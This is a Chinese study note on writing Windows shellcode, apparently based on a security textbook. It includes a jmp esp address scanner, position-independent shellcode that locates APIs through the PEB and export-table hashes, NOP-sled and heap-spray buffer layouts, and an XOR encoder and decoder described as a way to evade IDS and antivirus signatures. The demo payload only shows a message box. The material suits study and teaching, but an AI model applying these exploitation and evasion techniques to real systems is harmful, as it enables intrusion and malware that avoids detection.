开发shellcode的艺术


跳板技术

第二章写入的shellcode不具备通用性,运行程序或者不同设备时,那样的方式就不起作用了。因为ESP寄存器在函数返回后是不被溢出数据干扰的,而且始终指向返回地址之后的位置(retn相当于pop eip),所以可以通过下面的方式来动态定位shellcode:

  1. 用内存中任意一个imp esp指令的地址覆盖函数返回地址,而不是用原来手工查出的shellocde起始地址;
  2. 函数返回后被重定向去执行内存中的这条jmp esp指令,而不是直接开始执行shellcode;
  3. 由于esp在函数返回时仍指向栈区,jmp esp执行之后,处理器会到栈区函数返回地址之后的地方取指执行;
  4. jiangshellcode部署到返回地址之后,就可以在执行jmp esp之后执行shellcode了。

获取“跳板”

我们知道的是处理程序本身会被载入到内存中,一些经常被用到的动态链接库也会一同映射到内存中。其中,诸如kernel.dll, user32.dll之类的动态库几乎会被所有进程加载,且加载基址始终相同

  • 利用脚本获取指令地址
#include <windows.h>
#include <stdio.h>

#define DLL_NAME "user32.dll"

int main(void)
{
    BYTE* ptr;
    int position, address;
    HINSTANCE handle;
    BOOL done_flag = FALSE;
    handle = LoadLibrary(DLL_NAME);
    if(!handle){
        printf("load dll erro!\n");
        exit(0);
    }
    ptr = (BYTE*)handle;
    for(position = 0; !done_flag; position++){
        try{
            if(ptr[position] == 0xFF && ptr[position+1] == 0xE4){
                // 0xffe4 is the opcode of jmp esp
                int address = (int)ptr + position;
                printf("OPCODE found at 0x%x\n",address);
            }
        }catch(...){
            int address = (int)ptr + position;
            printf("END OF 0x%x\n", address);
            done_flag = true;
        }
    }
    return 0;
}

c的代码,但是用gcc编译时报错,改用g++之后正常编译

  • 通过OD插件获取整个进程空间的各类跳转地址

安装插件(OllyUni.dll),之后搜索对应指令即可:

Alt

搜索完成之后在日志里面即可看到结果:

Alt

使用跳板的exploit

采取第二章同样的方法定位MessageboxA的入口地址和ExitProcess的入口地址,然后编写如下代码:

#include <windows.h>

int main(void)
{
    HINSTANCE LibHandle;
    char dllbuf[11] = "user32.dll";
    LibHandle = LoadLibrary(dllbuf);
    _asm{
        sub sp,0x440
        xor ebx,ebx
        push ebx    // cut string
        push 0x74736577
        push 0x6c696166 // push failwest

        mov eax,esp // load address of failwest
        push ebx
        push eax
        push eax
        push ebx

        mov eax,0x77321250
        call eax // call MessageboxA
        push ebx
        mov eax,0x767758f0
        call eax  // call exit(0),in kernel.dll not user32.dll
    }
}

此处使用visual studio编译

对于user32.dll, kernel32.dll的基址,也可用如下代码获取:

#include <windows.h>
#include <stdio.h>

#define DLL_NAME "kernel32.dll"

int main(void)
{
    HINSTANCE handle;
    BOOL done_flag = FALSE;
    handle = LoadLibrary(DLL_NAME);
    if(!handle){
        printf("load dll erro!\n");
        exit(0);
    }
    printf("%s base addr = 0x%x\n", DLL_NAME, handle);
    return 0;
}

编译之后ida打开就可以得到opcode(这里也可以直接在OD中打开得到opcode):

.text:00411767 33 DB                                   xor     ebx, ebx
.text:00411769 53                                      push    ebx
.text:0041176A 68 77 65 73 74                          push    74736577h
.text:0041176F 68 66 61 69 6C                          push    6C696166h
.text:00411774 8B C4                                   mov     eax, esp
.text:00411776 53                                      push    ebx
.text:00411777 50                                      push    eax
.text:00411778 50                                      push    eax
.text:00411779 53                                      push    ebx
.text:0041177A B8 50 12 32 77                          mov     eax, 77321250h
.text:0041177F FF D0                                   call    eax
.text:00411781 53                                      push    ebx
.text:00411782 B8 F0 58 77 76                          mov     eax, 767758F0h
.text:00411787 FF D0                                   call    eax

书中对应的说明为:

Alt Alt

这个时候,在重新写入password.txt,然后执行第二章的程序:

Alt

这一次,双击运行程序就可以显示出弹框,并且点击ok之后程序可以正常退出;

Alt

缓冲区的组织

缓冲区组成

放入缓冲区的数据可以分为三种:

  1. 填充物:可以是任意值填充,一把用NOP指令对应的0x90来填充缓冲区,并把sellcode布置于其后,这样即使不能准确的跳转到shellcode的开始,只要跳转到填充区,处理器也能顺序执行到shellcode
  2. 淹没返回地址的数据:可以是跳转指令、shellcode地址甚至是shellcode附近的地址
  3. shellcode:可执行的机器代码

将shellcode布置在返回地址之后,可以不用担心自身被压栈数据破坏。但是,超过函数返回地址部分是前栈帧的数据(高地址方向),而一个实用的shellcode往往需要几百个字节,这样大范围的破坏前栈帧的数据可能会引发一些其他问题,比如想要在执行完shellcode之后通过修复寄存器的值,让函数正常返回继续执行原程序,就不能破坏前栈帧的数据

当缓冲区较大时,考虑将shellcode布置在缓冲区内:

  1. 合理利用缓冲区,使攻击的总长度减少:对于远程攻击,有时所有数据必须包含在一个数据包中
  2. 对程序破坏小,比较稳定:溢出基本发生在当前栈帧内,不会大范围破坏前栈帧

此外,还可以在返回地址之后多淹没一点,布置上几个字节的shellcode header,引导处理器跳转到位于缓冲区中真正的shellcode中去

抬高栈顶保护shellcode

如果shellcode中没有压栈指令向栈中写入数据不会有太大的影响,但是如果使用push指令向栈中暂存数据,压栈数据很有可能破坏到shellcode本身。

如果缓冲区相对shellcode比较大时,可以在栈顶布置nop指令,使shellcode原理栈顶,这样即使使用push指令,也不会影响到shellcode本身;但是如果缓冲区已经被shellcode占满,此时shellcode靠近栈顶,push指令就很有可能破坏shellcode。

所以,通常情况下,在shellcode一开始就大范围抬高栈顶,把hsellcode藏在栈内,从而达到保护自身安全的目的。

使用其他跳转指令

往往除了esp之外,EAX、EBX、ESI等寄存器也会指向栈顶附近,所以在选择跳转指令地址时也可以考虑这些寄存器,如mov eax,espjmp eax等指令

Alt

函数返回地址移位

如果函数返回地址的偏移按双字(DWORD)不定,可以用一片连续的跳转指令来覆盖函数的返回地址,只要其中有一个能够成功覆盖,shellcode就可以执行

Alt

此外,可能会因为机器不同的原因使函数返回地址距离我们输入的字符串的偏移按照字节错位,为了解决这一状况,可以使用按字节相同的双字节跳转地址,甚至可以使用堆中的地址,然后想办法将shellcode用堆扩展的办法放置在相应的区域(heap spray)

Alt

通用的shellcode

定位API的原理

Windows的API是通过动态链接库中的导出函数来实现的,如内操作等函数在kernel32.dll中实现,大量的图像界面相关的API则在user32.dll中实现。

所有的win_32程序都会加载ntdll.dll和kernel.dll这两个最基础的动态链接库,定位32位下的kernel32.dll中的API地址,方法如下:

  1. 通过段选择字FS在内存中找到当前的线程环境块TEB
  2. 线程环境块偏移为0x30的地方存放着指向进程环境块PEB的指针
  3. 进程环境块中偏移位置为0x0c的地方存放着指向PEB_LDR_DATA结构体的指针,其中,存放着已经被进程装载的动态链接库信息
  4. PEB_LDR_DATA结构体偏移位置为0x1c的位置存放着指向模块初始化链表的头指针InInitializationOrderModuleList
  5. 模块初始化链表InInitializationOrderMouduleList中按顺序存放着PE装入运行时初始化模块的信息,第一个链表节点是ntdll.dll,第二个节点就是kernel32.dll
  6. 找到属于kernel32.dll的节点后在其基础上偏移0x08,就是kernel32.dll在内存中的加载基址
  7. 从kernel32.dll加载基址出发,偏移0x3c的地方就是PE头
  8. PE头偏移0x78的地方存放着指向函数导出表的指针
  • 导出表偏移0x1c处的指针指向存储导出函数偏移地址(RVA)的列表
  • 导出表偏移0x20处的指针指向存储导出函数函数名的列表
  • 函数的RVA地址和名字按照顺序存放在上述两个列表中,可以在名称列表中定位所需函数的索引,然后在地址表中找到对应索引的RVA
  • 获得RVA之后,加上动态链接库的基址,得到所需API地址

shellcode的调试

可以使用以下代码装载shellcode:

char shellocde[]="......";
int main(void)
{
    _asm
    {
        lea eax,shellcode
        push eax
        ret
    }
}

动态定位API地址的shellcode

书中给出的计算函数名hash的c代码:

#include <stdio.h>
#include <windows.h>
DWORD GetHash(char *fun_name)
{
    DWORD digest=0;
    while(*fun_name)
    {
        digest=((digest<<25)|(digest>>7));
        digest+= *fun_name ;
        fun_name++;
    }
    return digest;
}

写入shellcode的时候会希望shellcode尽可能的短,所以不会直接用函数名低字符串去直接比对,而是计算摘要比对

导入表中搜索API的流程:

Alt

完整代码:

int main()
{
    _asm{
            nop
            nop

            nop
            nop
            nop
            CLD                 ; clear flag DF
            ;store hash
            push 0x1e380a6a     ;hash of MessageBoxA
            push 0x4fd18963     ;hash of ExitProcess
            push 0x0c917432     ;hash of LoadLibraryA
            mov esi,esp         ; esi = addr of first function hash
            lea edi,[esi-0xc]   ; edi = addr to start writing function


            ; make some stack space
            xor ebx,ebx
            mov bh, 0x04
            sub esp, ebx


            ; push a pointer to "user32" onto stack
            mov bx, 0x3233      ; rest of ebx is null
            push ebx
            push 0x72657375
            push esp
            xor edx,edx


            ; find base addr of kernel32.dll
            mov ebx, fs:[edx + 0x30]    ; ebx = address of PEB
            mov ecx, [ebx + 0x0c]       ; ecx = pointer to loader data
            mov ecx, [ecx + 0x1c]       ; ecx = first entry in initialisation  order list
            mov ecx, [ecx]              ; ecx = second entry in list (kernel32.dll)
            mov ebp, [ecx + 0x08]       ; ebp = base address of kernel32.dll


        find_lib_functions:

            lodsd                   ; load next hash into al and increment esi
            cmp eax, 0x1e380a6a     ; hash of MessageBoxA - trigger
                                    ; LoadLibrary("user32")
            jne find_functions
            xchg eax, ebp           ; save current hash
            call [edi - 0x8]        ; LoadLibraryA
            xchg eax, ebp           ; restore current hash, and update ebp
                                    ; with base address of user32.dll


        find_functions:
            pushad                      ; preserve registers
            mov eax, [ebp + 0x3c]       ; eax = start of PE header
            mov ecx, [ebp + eax + 0x78] ; ecx = relative offset of export table
            add ecx, ebp                ; ecx = absolute addr of export table
            mov ebx, [ecx + 0x20]       ; ebx = relative offset of names table
            add ebx, ebp                ; ebx = absolute addr of names table
            xor edi, edi                ; edi will count through the functions

        next_function_loop:
            inc edi                     ; increment function counter
            mov esi, [ebx + edi * 4]    ; esi = relative offset of current function name
            add esi, ebp                ; esi = absolute addr of current function name
            cdq                         ; dl will hold hash (we know eax is small)

        hash_loop:
            movsx eax, byte ptr[esi]
            cmp al,ah
            jz compare_hash
            ror edx,7
            add edx,eax
            inc esi
            jmp hash_loop

        compare_hash:
            cmp edx, [esp + 0x1c]       ; compare to the requested hash (saved on stack from pushad)
            jnz next_function_loop

            mov ebx, [ecx + 0x24]       ; ebx = relative offset of ordinals table
            add ebx, ebp                ; ebx = absolute addr of ordinals table
            mov di, [ebx + 2 * edi]     ; di = ordinal number of matched function
            mov ebx, [ecx + 0x1c]       ; ebx = relative offset of address table
            add ebx, ebp                ; ebx = absolute addr of address table
            add ebp, [ebx + 4 * edi]    ; add to ebp (base addr of module) the
                                        ; relative offset of matched function
            xchg eax, ebp               ; move func addr into eax
            pop edi                     ; edi is last onto stack in pushad
            stosd                       ; write function addr to [edi] and increment edi
            push edi
            popad                       ; restore registers
                                        ; loop until we reach end of last hash
            cmp eax,0x1e380a6a
            jne find_lib_functions

        function_call:
            xor ebx,ebx
            push ebx            // cut string
            push 0x74736577
            push 0x6C696166     //push failwest
            mov eax,esp         //load address of failwest
            push ebx
            push eax
            push eax
            push ebx
            call [edi - 0x04] ; //call MessageboxA
            push ebx
            call [edi - 0x08] ; // call ExitProcess
            nop
            nop
            nop
            nop
    }
}

在汇编代码前后加上一段nop,可以在反汇编工具或调试时方便的区分出shellcode的代码

shellcode编码技术

  1. 所有的字符串函数都会对NULL字节进行限制,通常情况下需要选择特殊的指令避免在shellcode中直接出现NULL字节(byte,ASCII码)或字(word,Unicode码)
  2. 有些函数会要求输入(shellcode)必须为可见字符
  3. 进行网络攻击时,基于特征IDS系统往往会对常见的shellcode进行拦截

shellcode编码示意图:

Alt

当exploit成功时,shellcode顶端的解码程序会首先运行,他会在内存中将其真正的shellcode还原成原来的样子。

Alt

很多病毒也会采取类似加壳的办法来躲避杀毒软件的查杀:首先对自身编码,若直接查看病毒文件的代码节会发现只有几条有用于解码的指令,其余都是无效指令;当PE装入开始运行时,解码器将真正的代码指令还原出来,并运行之、实施破坏活动;杀毒软件将一种特征记录之后,病毒开发者只需要使用新的编码算法(密钥)重新对PE文件编码,即可躲过查杀。不过杀毒软件会采用内存杀毒的办法来增加查杀力度

shellcode编码示例-通过异或运算实现编码过程

几点注意:

  1. 用于异或运算的特定数据相当于加密算法的密钥,在选取时不可与shellcode已有字节相同,否则编码后会产生null字节
  2. 可以选用多个密钥分别对shellcode不同区域进行编码,但会增加解码操作的复杂性
  3. 可以对shellcode进行多轮编码运算

编码:

void encoder (char* input, unsigned char key, int display_flag)// bool display_flag
{
    int i=0,len=0;
    FILE * fp;
    unsigned char * output;
    len = strlen(input);
    output=(unsigned char *)malloc(len+1);
    if(!output)
    {
        printf("memory erro!\n");
        exit(0);
    }
    //encode the shellcode
    for(i=0;i<len;i++)
    {
        output[i] = input[i]^key;
    }
    if(!(fp=fopen("encode.txt","w+")))
    {
        printf("output file create erro");
        exit(0);
    }
    fprintf(fp,"\"");
    for(i=0;i<len;i++)
    {
        fprintf(fp,"\\x%0.2x", output[i]);
        if((i+1)%16==0)
        {
            fprintf(fp,"\"\n\"");
        }
    }
    fprintf(fp,"\";");
    fclose(fp);
    printf("dump the encoded shellcode to encode.txt OK!\n");
    if(display_flag)//print to screen
    {
        for(i=0;i<len;i++)
        {
            printf("%0.2x ",output[i]);
            if((i+1)%16==0)
            {
                printf("\n");
            }
        }
    }
    free(output);
}

解码:

    __asm int 3
    __asm
    {
        nop
        nop
        nop
        nop
        nop
        nop
    //call decode_geteip
    //decode_geteip:
    //pop eax
        add eax, 0x14 //locate the real start of shellcode
        xor ecx,ecx
decode_loop:
        mov bl,[eax+ecx]
        xor bl, 0x44 //key,should be changed to decode
        mov [eax+ecx],bl

        inc ecx
        cmp bl,0x90 // assume 0x90 as the end mark of       shellcode
        jne decode_loop
        nop
        nop
        nop
        nop
        nop
    }